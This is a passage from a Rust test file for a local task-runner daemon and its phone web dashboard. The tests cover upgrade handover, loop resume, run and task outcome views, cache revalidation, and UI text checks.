13028 assert_eq!(health["upgrade"]["stage"], "done");
13029 assert!(
13030 health["upgrade"]["waiting_on"].is_null(),
13031 "nothing to wait on once it is done"
13032 );
13033 }
13034
13035 #[tokio::test]
13036 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13037 let home = TempDir::new().expect("temp home");
13038 let runs = home.path().join("runs");
13039 std::fs::create_dir_all(&runs).expect("runs dir");
13040 let ui = Ui::new(
13041 Queue::at(home.path().join("queue")),
13042 Questions::at(home.path().join("questions")),
13043 Talks::at(home.path().join("talks")),
13044 runs,
13045 home.path().to_path_buf(),
13046 PathBuf::from("/repo/magi"),
13047 )
13048 .with_launch(launch_idle);
13049 let looping = ui.looping();
13050 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13051 .await
13052 .expect("bind loopback");
13053 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13054
13055 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13056 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13057
13058 hand_over(home.path(), &looping, served, |_| Ok(()))
13059 .await
13060 .expect("hand over");
13061
13062 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13063 assert_eq!(
13064 after.stage,
13065 crate::updater::Stage::Restarting,
13066 "hand_over owns the record through parking and up to restarting; \
13067 the successor is what finishes it"
13068 );
13069 }
13070
13071 fn idle_ui(home: &TempDir) -> Ui {
13072 let runs = home.path().join("runs");
13073 std::fs::create_dir_all(&runs).expect("runs dir");
13074 Ui::new(
13075 Queue::at(home.path().join("queue")),
13076 Questions::at(home.path().join("questions")),
13077 Talks::at(home.path().join("talks")),
13078 runs,
13079 home.path().to_path_buf(),
13080 PathBuf::from("/repo/magi"),
13081 )
13082 .with_launch(launch_idle)
13083 }
13084
13085 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13087 let looping = ui.looping();
13088 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13089 .await
13090 .expect("bind loopback");
13091 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13092 let told = std::sync::Mutex::new(None);
13093 hand_over(home.path(), &looping, served, |resume| {
13094 *told.lock().unwrap() = Some(resume);
13095 Ok(())
13096 })
13097 .await
13098 .expect("hand over");
13099 told.into_inner().unwrap().expect("successor was started")
13100 }
13101
13102 #[tokio::test]
13103 async fn a_running_loop_is_resumed_by_the_successor() {
13104 let home = TempDir::new().expect("temp home");
13105 let ui = idle_ui(&home);
13106 ui.start_loop(None).expect("start");
13107 ui.park_for_upgrade().expect("park");
13108 for _ in 0..500 {
13110 if !ui.loop_view(None).running {
13111 break;
13112 }
13113 tokio::time::sleep(Duration::from_millis(2)).await;
13114 }
13115 assert!(handed_over(&home, ui).await, "a running loop must resume");
13116
13117 let successor = idle_ui(&home);
13118 assert!(!successor.loop_view(None).running);
13119 assert!(successor.resume_after_handover(true));
13120 assert!(successor.loop_view(None).running);
13121 successor.stop_loop(None, false).expect("stop");
13122 }
13123
13124 #[tokio::test]
13125 async fn a_second_upgrade_request_keeps_the_resume_intent() {
13126 let home = TempDir::new().expect("temp home");
13127 let ui = idle_ui(&home);
13128 ui.start_loop(None).expect("start");
13129 ui.park_for_upgrade().expect("first park");
13130 ui.park_for_upgrade().expect("second park");
13131 assert!(handed_over(&home, ui).await);
13132 }
13133
13134 #[tokio::test]
13135 async fn a_stop_during_the_handover_wait_is_honoured() {
13136 let home = TempDir::new().expect("temp home");
13137 let ui = idle_ui(&home);
13138 ui.start_loop(None).expect("start");
13139 ui.park_for_upgrade().expect("park");
13140 ui.stop_loop(None, false).expect("stop");
13141 assert!(!handed_over(&home, ui).await);
13142 }
13143
13144 #[tokio::test]
13145 async fn an_idle_loop_stays_stopped_across_the_handover() {
13146 let home = TempDir::new().expect("temp home");
13147 let ui = idle_ui(&home);
13148 ui.park_for_upgrade().expect("park");
13149 assert!(!handed_over(&home, ui).await);
13150
13151 let successor = idle_ui(&home);
13152 assert!(!successor.resume_after_handover(false));
13153 assert!(!successor.loop_view(None).running);
13154 }
13155
13156 #[tokio::test]
13157 async fn a_loop_the_operator_stopped_is_not_resumed() {
13158 let home = TempDir::new().expect("temp home");
13159 let ui = idle_ui(&home);
13160 ui.start_loop(None).expect("start");
13161 ui.stop_loop(None, false).expect("stop");
13162 ui.park_for_upgrade().expect("park");
13163 assert!(!handed_over(&home, ui).await);
13164 }
13165
13166 #[test]
13167 fn only_an_explicit_one_requests_a_resume() {
13168 assert!(!resume_requested(None));
13169 assert!(!resume_requested(Some("0".into())));
13170 assert!(!resume_requested(Some("".into())));
13171 assert!(resume_requested(Some("1".into())));
13172 }
13173
13174 #[test]
13175 fn the_upgrade_button_arms_before_it_restarts_anything() {
13176 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13179 assert!(APP_JS.contains("Replace the binary and restart?"));
13180 assert!(APP_JS.contains("function confirmed("));
13181 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13186 assert!(
13190 APP_JS.contains("Parking, then restarting"),
13191 "the button says what it is waiting for"
13192 );
13193 assert!(APP_JS.contains("if (!out.to)"));
13196 }
13197
13198 #[test]
13199 fn stopping_the_loop_arms_but_starting_does_not() {
13200 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13203 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13204 assert!(APP_JS.contains("confirmed(button, question)"));
13205 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
13208 assert!(APP_JS.contains("const label = btn.textContent;"));
13209 assert!(!APP_JS.contains("Neither direction is guarded"));
13210 }
13211
13212 #[test]
13213 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13214 assert!(
13215 APP_JS.contains("state.health.version"),
13216 "the operator wants to know what is running even with nothing newer"
13217 );
13218 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13219 }
13220
13221 #[test]
13222 fn the_upgrade_button_names_its_destination() {
13223 assert!(
13224 APP_JS.contains("`Update to ${update.to}`"),
13225 "pressing the button should not be a surprise about what it moves to"
13226 );
13227 }
13228
13229 #[test]
13230 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13231 for stage in ["downloading", "replaced", "parking", "restarting"] {
13232 assert!(
13233 APP_JS.contains(&format!("\"{stage}\"")),
13234 "the phone must be able to tell {stage} apart from the others"
13235 );
13236 }
13237 assert!(APP_JS.contains(".waiting_on"));
13238 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13243 assert!(APP_JS.contains("reconnects on its own"));
13244 }
13245
13246 #[test]
13247 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13248 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13257 ..APP_JS.find("function upgrade(").expect("upgrade")];
13258 assert!(
13259 !body.contains(
13260 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13261 ),
13262 "a failed upgrade must not take the whole strip over the way it used to"
13263 );
13264 assert!(
13265 body.contains("upgradeFailNote"),
13266 "the failure has to reach the loop's own note instead"
13267 );
13268 assert_eq!(
13272 body.matches("upgradeFailNote].filter(Boolean).join")
13273 .count(),
13274 2,
13275 "both loop-why writers (quiet and control) must fold the note in"
13276 );
13277 }
13278
13279 #[test]
13280 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13281 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13284 assert!(APP_JS.contains("function upgradeOverdue("));
13285 }
13286
13287 #[test]
13288 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13289 assert!(
13290 APP_JS.contains("Updated to ${upgradeInfo.to"),
13291 "the operator who asked for the restart wants to know it worked"
13292 );
13293 }
13294
13295 #[test]
13296 fn an_error_is_visible_from_where_the_button_is() {
13297 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13302 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13303 assert!(
13304 alert.contains("position: fixed"),
13305 "an error about the thing under your thumb has to be visible from \
13306 where your thumb is: {alert}"
13307 );
13308 assert!(
13309 alert.contains("z-index: 25"),
13310 "above the dock (20) and the run-actions FAB (15), so neither \
13311 buries it: {alert}"
13312 );
13313 assert!(
13314 alert.contains("var(--tap)"),
13315 "and clear of the dock and the home indicator: {alert}"
13316 );
13317 assert!(
13320 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13321 "the FAB's column stays free: {alert}"
13322 );
13323 }
13324
13325 #[tokio::test]
13326 async fn an_older_attempt_says_what_replaced_it() {
13327 let fx = Fixture::start().await;
13328 let q = fx.queue();
13329 let runs = fx.runs();
13330 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13331 write_run(&runs, first, RunStatus::Stalled);
13332 write_run(&runs, second, RunStatus::Blocked);
13333
13334 let mut t = Task::new(
13335 "one task".to_owned(),
13336 "do it".to_owned(),
13337 PathBuf::from("/repo"),
13338 Source::Human,
13339 );
13340 t.runs = vec![first.to_owned(), second.to_owned()];
13341 q.put(&mut t).expect("put");
13342
13343 let rows = fx.get("/api/runs").await.json();
13347 let by = |short: &str| -> Value {
13348 rows.as_array()
13349 .unwrap()
13350 .iter()
13351 .find(|r| r["short"] == short)
13352 .cloned()
13353 .unwrap_or(Value::Null)
13354 };
13355 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13356 assert!(
13357 by("bbbb")["superseded_by"].is_null(),
13358 "the latest attempt is not superseded by anything"
13359 );
13360 assert!(APP_JS.contains("run.superseded_by"));
13362 assert!(APP_JS.contains("Superseded by"));
13363 }
13364
13365 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13366 let mut t = Task::new(
13367 "one task".to_owned(),
13368 "do it".to_owned(),
13369 PathBuf::from("/repo"),
13370 Source::Human,
13371 );
13372 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13373 t.status = status;
13374 t
13375 }
13376
13377 #[test]
13378 fn source_link_picks_the_page_that_filed_the_task() {
13379 let agent = |node: &str| Source::Agent {
13380 run: "20260904-014455-ab12".to_owned(),
13381 node: node.to_owned(),
13382 };
13383 let chat = source_link(&agent("chat")).expect("chat link");
13384 assert_eq!(chat.kind, "chat");
13385 assert_eq!(chat.id, "20260904-014455-ab12");
13386 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13387 let run = source_link(&agent("implement")).expect("run link");
13388 assert_eq!(
13389 (run.kind, run.href.as_str()),
13390 ("run", "#/runs/20260904-014455-ab12")
13391 );
13392 assert_eq!(source_link(&Source::Human), None);
13393 assert_eq!(
13394 source_link(&Source::Issue {
13395 number: 3,
13396 repo: "o/r".to_owned()
13397 }),
13398 None
13399 );
13400 let odd = source_link(&Source::Agent {
13401 run: "a b/c".to_owned(),
13402 node: "chat".to_owned(),
13403 })
13404 .expect("link");
13405 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13406 }
13407
13408 #[test]
13409 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13410 assert!(
13411 !APP_JS.contains("src.node === \"chat\""),
13412 "inline href rule is back"
13413 );
13414 assert!(
13415 APP_JS.matches("sourceLinkOf(").count() >= 4,
13416 "helper must serve every page"
13417 );
13418 assert!(
13419 APP_JS.matches("openChatLink(").count() >= 3,
13420 "the run page still needs its explicit chat link"
13421 );
13422 assert!(
13423 !APP_JS.contains("const openChat = el("),
13424 "the Queue card duplicates its source label link again"
13425 );
13426 assert!(
13427 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13428 "the task page must link a chat source label too"
13429 );
13430 }
13431
13432 #[test]
13433 fn task_ref_carries_the_source_link_for_a_chat_task() {
13434 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13435 t.source = Source::Agent {
13436 run: "20260904-014455-ab12".to_owned(),
13437 node: "chat".to_owned(),
13438 };
13439 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13440 let v = serde_json::to_value(&out).expect("json");
13441 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13442 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13443 assert_eq!(v["source_label"], t.source.label());
13444
13445 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13446 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13447 .expect("json");
13448 assert!(v["source_link"].is_null(), "{v}");
13449 }
13450
13451 #[test]
13452 fn task_view_serializes_source_link() {
13453 let mut t = Task::new(
13454 "t".to_owned(),
13455 "t".to_owned(),
13456 PathBuf::from("/repo"),
13457 Source::Agent {
13458 run: "20260901-000000-aaaa".to_owned(),
13459 node: "implement".to_owned(),
13460 },
13461 );
13462 t.runs.clear();
13463 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13464 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13465 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13466 }
13467
13468 #[tokio::test]
13469 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13470 let fx = Fixture::start().await;
13471 let runs = fx.runs();
13472 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13473 write_run(&runs, old, RunStatus::Blocked);
13474 write_run(&runs, new, RunStatus::Merged);
13475 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13476 fx.queue().put(&mut t).expect("put");
13477
13478 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13479 let task = &view["task"];
13480 assert_eq!(task["status"], "done");
13481 assert_eq!(task["is_latest"], false);
13482 assert_eq!(task["latest"]["short"], "bbbb");
13483 assert_eq!(task["finished_by"]["id"], new);
13484 assert_eq!(task["finished_by"]["outcome"], "merged");
13485 assert_eq!(task["closed_by_hand"], false);
13486 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13487 assert!(APP_JS.contains("finished_by"));
13488 assert!(APP_JS.contains("superseded by run"));
13489 }
13490
13491 #[tokio::test]
13492 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13493 let fx = Fixture::start().await;
13494 let runs = fx.runs();
13495 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13496 write_run(&runs, old, RunStatus::Stalled);
13497 write_run(&runs, new, RunStatus::Blocked);
13498 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13499 fx.queue().put(&mut t).expect("put");
13500
13501 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13502 assert_eq!(task["status"], "held");
13503 assert_eq!(task["is_latest"], true);
13504 assert!(task["latest"].is_null());
13505 assert!(task["finished_by"].is_null());
13506 assert_eq!(task["closed_by_hand"], false);
13507 }
13508
13509 #[tokio::test]
13510 async fn a_direct_run_has_no_task_outcome() {
13511 let fx = Fixture::start().await;
13512 let runs = fx.runs();
13513 let id = "20260901-000000-aaaa";
13514 write_run(&runs, id, RunStatus::Blocked);
13515 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13516 assert!(view["task"].is_null());
13517 }
13518
13519 #[test]
13520 fn task_outcome_does_not_guess_a_finishing_run() {
13521 let a = "20260901-000000-aaaa";
13522 let b = "20260901-000000-bbbb";
13523 let c = "20260901-000000-cccc";
13524 let dir = tempfile::tempdir().expect("tempdir");
13525 write_run(dir.path(), a, RunStatus::Blocked);
13526 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13527 let read = |id: &str| read_run(dir.path(), id).ok();
13529 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13532 let out = task_outcome(&t, a, 3, read);
13533 assert!(out.finished_by.is_none());
13534 assert!(out.closed_by_hand);
13535 let latest = out.latest.expect("latest");
13536 assert_eq!(latest.id, c);
13537 assert_eq!(latest.status, None);
13538 assert_eq!(latest.outcome, "record unreadable");
13539
13540 write_run(dir.path(), c, RunStatus::Ready);
13542 let t = outcome_task(&[a, c], TaskStatus::Done);
13543 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13544 assert_eq!(out.finished_by.expect("finisher").id, c);
13545 assert!(!out.closed_by_hand);
13546
13547 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13549 assert!(task_outcome(&t, a, 3, read).is_latest);
13550 }
13551
13552 #[tokio::test]
13553 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13554 let fx = Fixture::start().await;
13559 let q = fx.queue();
13560 let runs = fx.runs();
13561 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13562 write_run(&runs, first, RunStatus::Blocked);
13563 write_run(&runs, second, RunStatus::Merged);
13564
13565 let mut t = Task::new(
13566 "one task".to_owned(),
13567 "do it".to_owned(),
13568 PathBuf::from("/repo"),
13569 Source::Human,
13570 );
13571 t.runs = vec![first.to_owned(), second.to_owned()];
13572 q.put(&mut t).expect("put");
13573
13574 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13575 assert_eq!(earlier["superseded_by"], "dddd");
13576 assert_eq!(earlier["latest_attempt"]["id"], second);
13577 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13578 assert_eq!(
13579 earlier["latest_attempt"]["resolved"], true,
13580 "the run that replaced it landed, so this one reads as settled"
13581 );
13582
13583 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13584 assert!(
13585 later["superseded_by"].is_null(),
13586 "the latest attempt is not superseded by anything"
13587 );
13588 assert!(
13589 later["latest_attempt"].is_null(),
13590 "the latest attempt has no later attempt of its own"
13591 );
13592
13593 assert!(APP_JS.contains("run.latest_attempt"));
13600 assert!(APP_JS.contains("data-superseded"));
13601 assert!(APP_JS.contains("#/runs/${latest.id}"));
13602 }
13603
13604 #[tokio::test]
13605 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13606 let fx = Fixture::start().await;
13612 let q = fx.queue();
13613 let runs = fx.runs();
13614 let (a, b, c) = (
13615 "20260901-000000-aaaa",
13616 "20260901-000000-bbbb",
13617 "20260901-000000-cccc",
13618 );
13619 write_run(&runs, a, RunStatus::Blocked);
13620 write_run(&runs, b, RunStatus::Blocked);
13621 write_run(&runs, c, RunStatus::Merged);
13622
13623 let mut t = Task::new(
13624 "retried twice".to_owned(),
13625 "do it".to_owned(),
13626 PathBuf::from("/repo"),
13627 Source::Human,
13628 );
13629 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13630 q.put(&mut t).expect("put");
13631
13632 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13633 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13634 assert_eq!(
13635 view["latest_attempt"]["id"], c,
13636 "the chain's current head, not the intermediate Blocked retry"
13637 );
13638 assert_eq!(view["latest_attempt"]["resolved"], true);
13639
13640 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13641 assert_eq!(mid["latest_attempt"]["id"], c);
13642 assert_eq!(mid["latest_attempt"]["resolved"], true);
13643 }
13644
13645 #[tokio::test]
13646 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13647 let fx = Fixture::start().await;
13648 let q = fx.queue();
13649 let runs = fx.runs();
13650
13651 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13654 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13655 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13656 let mut t1 = Task::new(
13657 "still stuck".to_owned(),
13658 "do it".to_owned(),
13659 PathBuf::from("/repo"),
13660 Source::Human,
13661 );
13662 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13663 q.put(&mut t1).expect("put");
13664 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13665 assert_eq!(view1["latest_attempt"]["resolved"], false);
13666 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13667 assert_eq!(view1["latest_attempt"]["done"], true);
13668
13669 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13671 write_run(&runs, run_a, RunStatus::Blocked);
13672 write_run(&runs, run_b, RunStatus::Implementing);
13673 let mut t3 = Task::new(
13674 "retrying".to_owned(),
13675 "do it".to_owned(),
13676 PathBuf::from("/repo"),
13677 Source::Human,
13678 );
13679 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13680 q.put(&mut t3).expect("put");
13681 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13682 assert_eq!(view3["latest_attempt"]["id"], run_b);
13683 assert_eq!(view3["latest_attempt"]["resolved"], false);
13684 assert_eq!(view3["latest_attempt"]["done"], false);
13685
13686 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13691 write_run(&runs, noop_a, RunStatus::Blocked);
13692 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13693 let mut t2 = Task::new(
13694 "claims done".to_owned(),
13695 "do it".to_owned(),
13696 PathBuf::from("/repo"),
13697 Source::Human,
13698 );
13699 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13700 q.put(&mut t2).expect("put");
13701 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13702 assert_eq!(
13703 view2["latest_attempt"]["resolved"], false,
13704 "an unverified no-op claim must not read as a confirmed finish"
13705 );
13706
13707 assert!(APP_JS.contains("latest.resolved"));
13710 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13713 assert!(APP_JS.contains("Latest attempt: "));
13714 assert!(APP_JS.contains("in flight"));
13715 assert!(APP_JS.contains("not resolved"));
13716 }
13717
13718 #[tokio::test]
13719 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13720 let fx = Fixture::start().await;
13721 let js = fx.get("/app.js").await;
13727 assert_eq!(js.status, 200);
13728 let tag = js
13729 .header("etag")
13730 .expect("an etag to revalidate against")
13731 .to_owned();
13732 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13733 assert_eq!(
13734 js.header("cache-control"),
13735 Some("no-cache, must-revalidate"),
13736 "the phone has to ask every time"
13737 );
13738
13739 let again = fx
13742 .get_with("/app.js", &[("if-none-match", tag.as_str())])
13743 .await;
13744 assert_eq!(
13745 again.status, 304,
13746 "a deck it already has costs one round trip"
13747 );
13748 assert!(again.body.is_empty(), "304 carries no body");
13749
13750 let weak = fx
13753 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13754 .await;
13755 assert_eq!(weak.status, 304);
13756 let stale = fx
13757 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13758 .await;
13759 assert_eq!(stale.status, 200, "an older build must be replaced");
13760 assert!(stale.body.contains("renderRunActions"));
13761 }
13762
13763 #[test]
13764 fn the_task_detail_has_an_actions_fab_and_sheet() {
13765 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13766 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13767 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13768 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13770 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13771 assert!(APP_JS.contains("renderTaskActions(task);"));
13773 assert!(APP_JS.contains("renderTaskActions(null);"));
13774 let sheet = APP_JS
13776 .find("function renderTaskActions")
13777 .expect("sheet renderer");
13778 let body = &APP_JS[sheet..sheet + 3000];
13779 assert!(body.contains("changePriority("));
13780 assert!(body.contains("openTaskEdit(task)"));
13781 assert!(body.contains("renderTaskHoldBox(host"));
13782 assert!(body.contains("renderTaskDoneBox(host"));
13783 assert!(body.contains("renderTaskDeleteBox(host"));
13784 assert!(APP_JS.contains("API.priority(id)"));
13785 assert!(APP_JS.contains("API.deleteTask(id)"));
13786 assert!(APP_JS.contains("location.hash = \"#/queue\""));
13788 assert!(APP_JS.contains("$(\"task-actions-error\")"));
13790 }
13791
13792 #[test]
13793 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13794 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13795 let actions = INDEX_HTML
13796 .find("id=\"run-actions-box\"")
13797 .expect("actions box");
13798 assert!(task < actions, "the task entry comes first in the sheet");
13799 assert!(APP_JS.contains("renderRunTaskEntry"));
13800 assert!(APP_JS.contains("\"Open task \""));
13801 assert!(APP_JS.contains("started directly, no task"));
13803 assert!(APP_JS.contains("sheet-task-link"));
13804 assert!(APP_JS.contains("task-chip-link"));
13805 }
13806
13807 #[test]
13808 fn the_deck_never_sends_the_operator_to_a_terminal() {
13809 assert!(
13812 !APP_JS.contains("Run `magi fold` first"),
13813 "the deck must offer the fold, not prescribe a shell command"
13814 );
13815 assert!(APP_JS.contains("foldRun:"));
13816 assert!(APP_JS.contains("resumeRun:"));
13817 assert!(APP_JS.contains("renderRunActions"));
13818
13819 assert!(APP_JS.contains("armedFold"));
13821 assert!(APP_JS.contains("Yes, fold worktrees"));
13822
13823 assert!(APP_JS.contains("can no longer be resumed"));
13826 }
13827
13828 #[test]
13829 fn a_finished_run_explains_itself_with_its_own_last_line() {
13830 assert!(
13836 !APP_JS.contains("collapsed on agent quota"),
13837 "a stall must not be explained by a cause the deck did not check"
13838 );
13839 assert!(
13840 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13841 "and a block must not offer a guess with an `or` in it"
13842 );
13843
13844 assert!(
13848 APP_JS.contains("setText(r.event, run.event || \"\")"),
13849 "the run's last line is rendered unconditionally"
13850 );
13851 assert!(
13852 !APP_JS.contains("moving && run.event"),
13853 "and never gated on the run still moving"
13854 );
13855
13856 assert!(APP_JS.contains("lost to quota"));
13858 }
13859
13860 #[test]
13882 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13883 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13884 let shapes_body_start =
13885 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13886 let shapes_close = APP_JS[shapes_body_start..]
13887 .find("].map(")
13888 .expect("the shape list is closed by its done-computing .map(...)")
13889 + shapes_body_start;
13890 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13891
13892 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13893 for entry in shapes_src.split('{').skip(1) {
13894 let waiting = entry.contains("waiting: true");
13895 let dead = entry.contains("live: \"dead\"");
13896 let status_at =
13897 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13898 let status_end = entry[status_at..]
13899 .find('"')
13900 .expect("the status string is closed")
13901 + status_at;
13902 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13903 }
13904 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13905
13906 let done_rule_marker = "done: !";
13910 let done_rule_at = APP_JS[shapes_close..]
13911 .find(done_rule_marker)
13912 .expect("the done rule follows the shape list")
13913 + shapes_close
13914 + done_rule_marker.len();
13915 let includes_at = APP_JS[done_rule_at..]
13916 .find(".includes(shape.status)")
13917 .expect("the done rule ends in .includes(shape.status)")
13918 + done_rule_at;
13919 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13920 .trim()
13921 .trim_start_matches('[')
13922 .trim_end_matches(']')
13923 .split(',')
13924 .map(|s| s.trim().trim_matches('"'))
13925 .filter(|s| !s.is_empty())
13926 .collect();
13927
13928 let shapes: Vec<(bool, String, bool, bool)> = shapes
13929 .into_iter()
13930 .map(|(waiting, status, dead)| {
13931 let done = !not_done.contains(&status.as_str());
13932 (waiting, status, dead, done)
13933 })
13934 .collect();
13935
13936 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13940 if waiting {
13941 return "waiting";
13942 }
13943 if dead
13944 && !matches!(
13945 status,
13946 "merged"
13947 | "ready"
13948 | "stalled"
13949 | "blocked"
13950 | "failed"
13951 | "verified_noop"
13952 | "superseded"
13953 | "already_in_base"
13954 )
13955 {
13956 return "stale";
13957 }
13958 match status {
13959 "merged" | "ready" => "landed",
13960 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13961 | "already_in_base" => "ended",
13962 _ => "flight",
13963 }
13964 }
13965
13966 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13969 match filter_key {
13970 "active" => !done,
13971 "flight" => !done && !waiting && !dead,
13972 "stale" => !done && !waiting && dead,
13973 "waiting" => waiting,
13974 "done" => done,
13975 "all" => true,
13976 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13977 }
13978 }
13979
13980 let compatible = |section: &str, filter_key: &str| {
13981 shapes.iter().any(|(waiting, status, dead, done)| {
13982 run_section(*waiting, status, *dead) == section
13983 && filter_matches(filter_key, *waiting, *dead, *done)
13984 })
13985 };
13986
13987 let expected = [
13992 ("waiting", [true, false, false, true, true, true]),
13993 ("stale", [true, false, true, false, false, true]),
13994 ("flight", [true, true, false, false, false, true]),
13995 ("landed", [false, false, false, false, true, true]),
13996 ("ended", [false, false, false, false, true, true]),
13997 ];
13998 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13999
14000 for (section, wants) in expected {
14001 for (filter_key, want) in filter_keys.iter().zip(wants) {
14002 assert_eq!(
14003 compatible(section, filter_key),
14004 want,
14005 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14006 );
14007 }
14008 }
14009
14010 assert!(
14013 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14014 );
14015 assert!(APP_JS.contains(
14016 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14017 ));
14018 assert!(APP_JS.contains(
14019 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14020 ));
14021 }
14022
14023 #[tokio::test]
14024 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14025 let dir = tempfile::tempdir().expect("tempdir");
